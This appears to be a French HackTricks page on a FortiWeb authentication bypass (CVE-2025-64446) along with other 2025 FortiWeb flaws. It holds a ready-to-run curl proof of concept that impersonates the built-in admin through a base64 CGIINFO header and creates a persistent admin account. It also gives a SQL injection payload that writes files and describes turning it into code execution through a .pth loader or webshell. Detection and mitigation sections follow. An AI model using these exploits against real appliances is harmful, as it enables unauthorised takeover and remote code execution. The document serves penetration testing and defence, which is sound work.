Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Aperçu
Fortinet FortiWeb expose un dispatcher CGI centralisé à /cgi-bin/fwbcgi. Une chaîne de deux bugs permet à un attaquant distant non authentifié de :
- Atteindre
fwbcgien commençant l’URL par un préfixe API valide et en traversant des répertoires. - Usurper l’identité de n’importe quel utilisateur (y compris l’utilisateur intégré
admin) en fournissant un en-tête HTTP spécial que le CGI considère comme identité.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Une exploitation a été observée in the wild pour créer des comptes admin persistants.
Versions impactées (d’après la documentation publique) :
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 renvoie HTTP 403 pour la sonde de traversal ci‑dessous.
Test rapide de vulnérabilité
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interprétation : HTTP 200 → probablement vulnérable ; HTTP 403 → corrigé.
Chaîne des causes racines
- API-prefix path traversal to internal CGI
- Tout chemin de requête qui commence par un préfixe d’API FortiWeb valide (par ex.
/api/v2.0/cmdb/ou/api/v2.0/cmd/) peut traverser avec../jusqu’à/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Une fois
fwbcgiatteint, une première porte effectue un contrôle JSON permissif indexé par un fichier spécifique au chemin sous/var/log/inputcheck/. Si le fichier est absent, le contrôle passe immédiatement. S’il est présent, le corps n’a besoin que d’être du JSON valide. Utilisez{}comme corps minimal conforme.
- Header-driven user impersonation
- Le programme lit la variable d’environnement CGI
HTTP_CGIINFO(dérivée de l’en-tête HTTPCGIINFO), la décode Base64, analyse le JSON, et copie les attributs directement dans le contexte de connexion, en définissant le domaine/VDOM. Clés d’intérêt : username,loginname,vdom,profname- Exemple JSON pour usurper l’administrateur intégré :
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 de ce qui précède (as used in-the-wild):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Schéma d’abus de bout en bout (non authentifié → admin)
- Atteindre
/cgi-bin/fwbcgivia un traversal de préfixe d’API. - Fournir n’importe quel corps JSON valide (p.ex.,
{}) pour satisfaire la vérification d’entrée. - Envoyer l’en-tête
CGIINFO: <base64(json)>où le JSON définit l’identité cible. - POSTer le JSON backend attendu par
fwbcgipour effectuer des actions privilégiées (p.ex., créer un utilisateur admin pour la persistance).
Minimal cURL PoC
- Vérifier l’exposition au traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Se faire passer pour l’admin et créer un nouvel utilisateur admin local :
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Remarques :
- Tout corps JSON valide suffit (p. ex.,
{}) si/var/log/inputcheck/<path>.jsonn’existe pas. - Le schéma d’action est interne à FortiWeb ; l’exemple ci‑dessus ajoute un administrateur local avec tous les privilèges.
Autres vulnérabilités FortiWeb 2025 à vérifier rapidement
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- Affecte 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Corrigé dans 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
- Bug :
get_fabric_user_by_token()utilise la valeurAuthorization: Bearer <token>directement dans une requête SQL. L’attaquant fournit du SQL qui s’exécute en tant qu’utilisateur MySQL et peut déposer des fichiers viaSELECT ... INTO OUTFILE, entraînant de l’exécution de code (webshell/.pthloader). - Surface d’attaque typique :
/api/fabric/device/status(et autres Fabric Connector endpoints) sur HTTP/HTTPS dans le plan de gestion. - Test rapide pour SQLi :
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Weaponization: écrire un fichier
.pthdans les site-packages Python de FortiWeb qui importeos;os.system(...)au démarrage de l’interpréteur, ou déposer un CGI sous le webroot. Le rechargement des services exécutera la payload. - Hunting clues: Authorization headers contenant quotes/UNION/SELECT ; fichiers inattendus sous
/data/lib/python*/site-packages/ou/data/var/waf/html/ROOT/cgi-bin/.
FortiCloud SSO signature bypass (CVE-2025-59719)
- Une vérification SAML de signature incorrecte permet à un attaquant de forger des réponses FortiCloud SSO et de se connecter en tant qu’admin sans identifiants.
- Exploitable uniquement lorsque la FortiCloud SSO login est activée (elle s’active automatiquement si l’appliance a été enregistrée via le GUI à moins que la case n’ait été décochée).
- Affectés (d’après le PSIRT) : 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Corrigé dans 8.0.1 / 7.6.5 / 7.4.10.
OS command injection in management plane (CVE-2025-58034)
- Affectés : 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Corrigé dans 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Probe pratique (non-destructif) : envoyer un paramètre contenant
;id;aux endpoints HTTP de management et observer des réponses 500 contenant la sortie de commande ; bloquer ou patcher immédiatement si un echo est observé.
Détection
- Requêtes atteignant
/cgi-bin/fwbcgivia des chemins préfixés API contenant../(ex./api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Présence de l’en-tête
CGIINFOavec du JSON Base64 contenant les clésusername/loginname/vdom/profname. - Fabric Connector SQLi : Authorization headers contenant des métacaractères SQL, fichiers soudains dans les répertoires Python site-packages/CGI, accès à
/api/fabric/device/statusdepuis des IPs Internet. - FortiCloud SSO : émetteurs SAML inattendus ou valeurs d’audience dans
/var/log/ssod. - Artefacts côté backend :
- Fichiers par-chemin sous
/var/log/inputcheck/(configuration de gate). - Créations inattendues d’admin et modifications de configuration.
- Validation rapide : la sonde de traversal retournant 200 (exposé) vs 403 (bloqué dans les builds corrigés).
Mitigation
- Mettre à jour vers les releases corrigées (exemples : 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) selon l’avis du vendor.
- Patcher les autres failles 2025 : SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
- Jusqu’à correction :
- Ne pas exposer le management plane de FortiWeb à des réseaux non fiables.
- Ajouter des règles reverse-proxy/WAF pour bloquer :
- Les chemins commençant par
/api/et contenant../cgi-bin/fwbcgi. - Les requêtes portant un en-tête
CGIINFO. - Les appels Fabric Connector avec des métacaractères SQL dans
Authorization. - Les endpoints SAML depuis Internet si FortiCloud SSO n’est pas utilisé.
- Surveiller et alerter sur les indicateurs de détection ci-dessus.
Références
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


